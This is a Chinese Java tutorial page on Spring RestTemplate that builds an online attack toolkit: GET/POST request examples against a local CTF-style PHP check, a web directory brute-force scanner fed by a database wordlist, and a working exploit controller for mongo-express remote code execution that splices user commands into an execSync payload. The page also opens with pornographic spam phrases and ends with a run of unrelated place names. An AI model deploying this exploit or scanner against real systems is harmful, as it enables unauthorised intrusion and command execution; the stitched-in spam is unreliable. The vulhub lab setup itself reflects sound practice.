最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

java分布式基于RestTemplate的使用方法

 更新時間:2022年02月19日 10:40:14   作者:kali_Ma  
這篇文章主要為大家介紹了java分布式基于RestTemplate的使用方法說明,有需要的朋友可以借鑒參考下希望能夠有所幫助,祝大家多多進步,早日升職加薪

1.前言

最近在接觸到分布式方面知識的時候,學(xué)習(xí)了RestTemplate的一些使用。RestTemplate比較常見的就是用來進行一些http請求。本人在使用之后,在語法簡潔的同時,感覺非常的方便。

于是乎在后面就想到了,通過RestTemplate來做成在線的"武器庫",會不會更方便呢。因為Springboot開發(fā)本來就比較簡單,而且在后期進行一些團隊協(xié)作的時候,用在線的平臺是不是相對于團隊更方便?避免了因為環(huán)境不一致而造成的問題。

2.RestTemplate get請求及傳參

2.1正常get請求不帶參

首先來用一下正常不帶參的請求,既然要使用RestTemplate,那么肯定首先要new出來。之后使用rest.exchange進行請求。

exchange參數(shù)說明如下:

類型說明
url請求路徑
method請求的方法(GET、POST、PUT等)
requestEntityHttpEntity對象,封裝了請求頭和請求體
responseType返回數(shù)據(jù)類型
uriVariables支持PathVariable類型的數(shù)據(jù)。

參數(shù)1,2不做過多講解,參數(shù)3的話,在初始化HttpEntity的時候,就可以傳入一個自定義的headers。

所以提前通過HttpHeaders headers = new HttpHeaders();

進行設(shè)置headers并傳入即可。

@RequestMapping("gettest")
public @ResponseBody String param(){
RestTemplate rest = new RestTemplate();
HttpHeaders headers = new HttpHeaders();
headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");

String url = "http://127.0.0.1/t.php";
ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>       (null,headers),String.class);

String body = res.getBody();
return body;
}

在上方的代碼中,請求的是一個php文件,而該php文件非常簡單,只是打印出user_agent。

image.png

在打印出user_agent之后,ResponseEntity res這兒就接收到了回顯信息,最后在通過res.getBody();成功獲取到頁面的回顯數(shù)據(jù)

2.2 get請求帶參使用

了解完上面的無參get請求之后,接下來了解一下如何傳參?

是不是感覺有點枯燥了?為此加了點CTF元素。代碼如下,只有當(dāng)用戶傳參符合第四行的if判斷,才會進行輸出正確的flag

image.png

傳參方式:

這種也是最為常見的一種,就是使用參數(shù)接收,是不是感覺和上方無參get方式的代碼非常相似?下方形參agent和value就是在網(wǎng)頁中的參數(shù)名(PS:學(xué)過springboot的小伙伴應(yīng)該都知道)。之后將agent設(shè)置到headers里面,而value進行了拼接到**t.php?value= **后面進行當(dāng)做參數(shù)值傳入

public @ResponseBody String param(**String agent,String value**){
        RestTemplate rest = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent",**agent**);
        String url = "http://127.0.0.1/t.php?value="+**value**;
        ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
        String body = res.getBody();
        return body;
    }

最后進行測試一下,成功進行傳參獲取到了“flag”

image.png

2.3 編寫在線目錄掃描腳本

既然玩轉(zhuǎn)了get請求之后,那就來做一個目錄掃描的小功能吧。畢竟學(xué)以致用。

整體實現(xiàn)流程如下,采用springboot,并整合mybatis。這里沒有寫Service層,因為畢竟都是初步實現(xiàn)而已。

而最為顯著的一個優(yōu)點就是:站點目錄都會存入到數(shù)據(jù)庫中,這就在后期發(fā)展中避免了字典少,不夠用的問題。因為團隊成員都可以將自己的字典存入到該數(shù)據(jù)庫中。

image.png

首先準備好數(shù)據(jù)庫和一些"字典",測試階段,本人自己就手動添加了幾個。后續(xù)如果字典龐大,可自己寫個小腳本導(dǎo)入到數(shù)據(jù)庫即可。

image.png

數(shù)據(jù)庫準備好之后,就可以進行整合mybatis了。這里pom文件需要加載mybatis和mysql的依賴。

目錄結(jié)構(gòu)如下:一個Controller,一個mapper和xml配置文件,以及一個用來存儲的類

image.png

application主配置文件,主要用來寫一些數(shù)據(jù)庫配置

server.port=8081
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8
mybatis.mapper-locations=classpath:Mapper/*.xml

Mapper代碼如下,記得要加上@Mapper注解

@Mapper
public interface MuluMapper {
    List<catalogue> selectAll();
}

Mapper.xml配置,用來查詢數(shù)據(jù)庫中的 “字典”

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.restclien.Dao.MuluMapper">
<select id="selectAll" resultType="com.example.restclien.Dao.catalogue">
        select * from catalogue
    </select>
</mapper>

既然配置好之后,那就開始實現(xiàn)重要功能點了!代碼簡單講解一下:首先通過@Autowired把mapper自動注入。

之后 List<catalogue> list = muluMapper.selectAll();

會到mapper.xml中執(zhí)行select查詢語句,并將其保存到List集合中。最后到for循環(huán)中進行循環(huán)遍歷過程中,將url與獲取的數(shù)據(jù)庫中的name字段內(nèi)容拼接保存到temp這個臨時變量。

舉個例子:

用戶輸入url為http://127.0.0.1

name字段第一個內(nèi)容為:admin

那么最終 temp=http://127.0.0.1/admin

拼接完成之后,通過exchange訪問,最終res.getStatusCodeValue()獲取響應(yīng)碼,為200的話,就判定該文件存在。(PS:這里判斷的比較潦草,比如403等情況沒有進行判斷)

@RestController
public class MapperController {
    @Autowired
    MuluMapper muluMapper;
    @RequestMapping("/tance")
    public String tance(String url) {
        RestTemplate rest = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        List<String> lists = new ArrayList<>();
        headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");
        List<catalogue> list = muluMapper.selectAll();
        if(!url.endsWith("/")){
            url+="/";
        }

        for (catalogue tance : list) {
            String temp = url+tance.getName();
            try{
                ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
                lists.add("目錄存在:"+temp+" 響應(yīng)狀態(tài)碼為:"+res.getStatusCodeValue());
            }catch(Exception e){
                e.printStackTrace();
            }

        }
        return lists.toString();
    }
}

看一下最終成品吧,成功實現(xiàn)一款簡易的在線web目錄掃描

image.png

image.png

3.RestTemplate post請求

3.1 post請求玩法

有了上面的思路之后,post也類似。那么為了防止大家感覺枯燥,繼續(xù)來玩這道"CTF"

php的代碼沒有太大變動,只是請求換成了post

image.png

RestTemplate代碼如下:傳參將agent設(shè)置到headers里面,而value添加到了LinkedMultiValueMap中,可以理解為這個LinkedMultiValueMap就是用來存儲post要提交的數(shù)據(jù),而最后這個稍作不同的是,用的restTemplate.postForEntity()進行post提交數(shù)據(jù)即可,與get是非常類似的。

@RequestMapping("/Post01")
    public @ResponseBody
    String Post01(String agent,String value){
        RestTemplate restTemplate = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent",agent);
        String url = "http://127.0.0.1/t.php";
        LinkedMultiValueMap params = new LinkedMultiValueMap();
        params.add("value",value);
        ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class);
        return str.getBody();
    }

最后傳參即可,dong的一下,“flag”也就出現(xiàn)了

3.2 mongo-express 遠程代碼執(zhí)行漏洞腳本編寫

靶場安裝直接去vulhub下載即可。安裝過程很簡單,啟動之后

image.png

漏洞利用過程更為簡單execSync中輸入要執(zhí)行的命令即可。返回Valid表示執(zhí)行成功了。

image.png

之后前往docker查看即可,發(fā)現(xiàn)成功創(chuàng)建1.txt

image.png

接下來編寫利用腳本

先準備一個比較丑的前端頁面,存到static目錄中,這是Springboot默認存放靜態(tài)資源的地方。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>mongo-express 遠程代碼執(zhí)行漏洞</title>
</head>
<body>
<form action="/exec" method="post">
    請輸入漏洞URL:<input type="text" name="url"/><br/>
    請輸入要執(zhí)行的命令:<input type="text" name="command"/>
    <input type="submit" value="提交">
</form>
</body>
</html>

Controller編寫思路,首先可以看到action提交到了exec,所以RequestMapping寫成exec即可,參數(shù)的話,一個url用來接收url地址的,一個command用來接收命令。

image.png

完整Controller如下,筆者帶你進一步分析:在paramMap.add語句中,可以看到對輸入進來command進行了拼接,假設(shè)筆者這里輸入的為“ls”,從而構(gòu)成了如下數(shù)據(jù)

document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“ls”)

最后使用的exchange方法進行的POST提交,提交的URL為筆者傳入的,而command傳入并拼接進去之后,數(shù)據(jù)最終存到了httpEntity中,,而這里的參數(shù)就不做過多講解,因為有了前面的基礎(chǔ),應(yīng)該都能一看懂什么意思。

@RequestMapping("/exec")
    public @ResponseBody String Post01(String url,String command){
        RestTemplate restTemplate = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)");
        MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>();
        paramMap.add("document", "this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync("+"\""+command+"\""+")");
        HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers);
        ResponseEntity<String> response = null;
        try {
            response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class);
        }catch(NullPointerException e){
            e.printStackTrace();
        }
        return response.getBody();
    }

最終測試過程,編寫腳本利用成功

image.png

image.png

image.png

4.結(jié)尾

在進行內(nèi)部團隊協(xié)作的時候,后期效率確實是可以提升,同時也提升了自己的代碼水平~。

以上就是基于RestTemplate的在線武器庫的詳細內(nèi)容,更多關(guān)于RestTemplate的在線武器庫的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • 實例講解String Date Calendar之間的轉(zhuǎn)換

    實例講解String Date Calendar之間的轉(zhuǎn)換

    下面小編就為大家?guī)硪黄獙嵗v解String Date Calendar之間的轉(zhuǎn)換。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-07-07
  • Java中的裝箱和拆箱深入理解

    Java中的裝箱和拆箱深入理解

    裝箱和拆箱是java中老生常談的問題,下面小編通過本文給大家介紹java裝箱和拆箱最基本的東西,感興趣的朋友一起看下吧
    2016-07-07
  • 利用Java+OpenCV實現(xiàn)拍照功能

    利用Java+OpenCV實現(xiàn)拍照功能

    網(wǎng)上大多是利用C語言或者Python實現(xiàn)拍照功能,本文將為大家介紹另一種方法,即在Java中調(diào)用OpenCV實現(xiàn)拍照功能,感興趣的可以了解一下
    2022-01-01
  • TCC分布式事務(wù)七種異常情況小結(jié)

    TCC分布式事務(wù)七種異常情況小結(jié)

    這篇文章主要為大家詳細介紹了在整個TCC模型過程中可能會出現(xiàn)的七種異常情況,文中的示例代碼簡潔易懂,感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下
    2024-11-11
  • 如何基于Jenkins構(gòu)建Jmeter項目

    如何基于Jenkins構(gòu)建Jmeter項目

    這篇文章主要介紹了如何基于Jenkins構(gòu)建Jmeter項目,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-09-09
  • vue驗證碼組件應(yīng)用實例

    vue驗證碼組件應(yīng)用實例

    今天小編就為大家分享一篇關(guān)于vue驗證碼組件應(yīng)用實例,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2019-01-01
  • springboot整合nacos,如何讀取nacos配置文件

    springboot整合nacos,如何讀取nacos配置文件

    這篇文章主要介紹了springboot整合nacos,如何讀取nacos配置文件問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-11-11
  • java 使用poi 導(dǎo)入Excel數(shù)據(jù)到數(shù)據(jù)庫的步驟

    java 使用poi 導(dǎo)入Excel數(shù)據(jù)到數(shù)據(jù)庫的步驟

    這篇文章主要介紹了java 使用poi 導(dǎo)入Excel 數(shù)據(jù)到數(shù)據(jù)庫的步驟,幫助大家更好的理解和使用Java,感興趣的朋友可以了解下
    2020-12-12
  • MyBatis按時間排序方式

    MyBatis按時間排序方式

    這篇文章主要介紹了MyBatis按時間排序方式,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-01-01
  • Spring加載properties文件的方法

    Spring加載properties文件的方法

    這篇文章主要為大家詳細介紹了Spring加載properties文件的兩種方法,一是通過xml方式,另一種方式是通過注解方式,感興趣的小伙伴們可以參考一下
    2016-06-06

最新評論

庐江县| 临泉县| 绩溪县| 宾川县| 满城县| 夏津县| 崇仁县| 襄樊市| 孟州市| 蕲春县| 钟山县| 随州市| 江西省| 全州县| 桐梓县| 永德县| 巩留县| 文昌市| 庆安县| 南郑县| 万安县| 河北区| 惠水县| 锡林浩特市| 前郭尔| 隆昌县| 鹿泉市| 郴州市| 阳新县| 彭阳县| 潜山县| 海淀区| 新泰市| 白玉县| 介休市| 佳木斯市| 华阴市| 科技| 仙桃市| 甘孜县| 阜康市|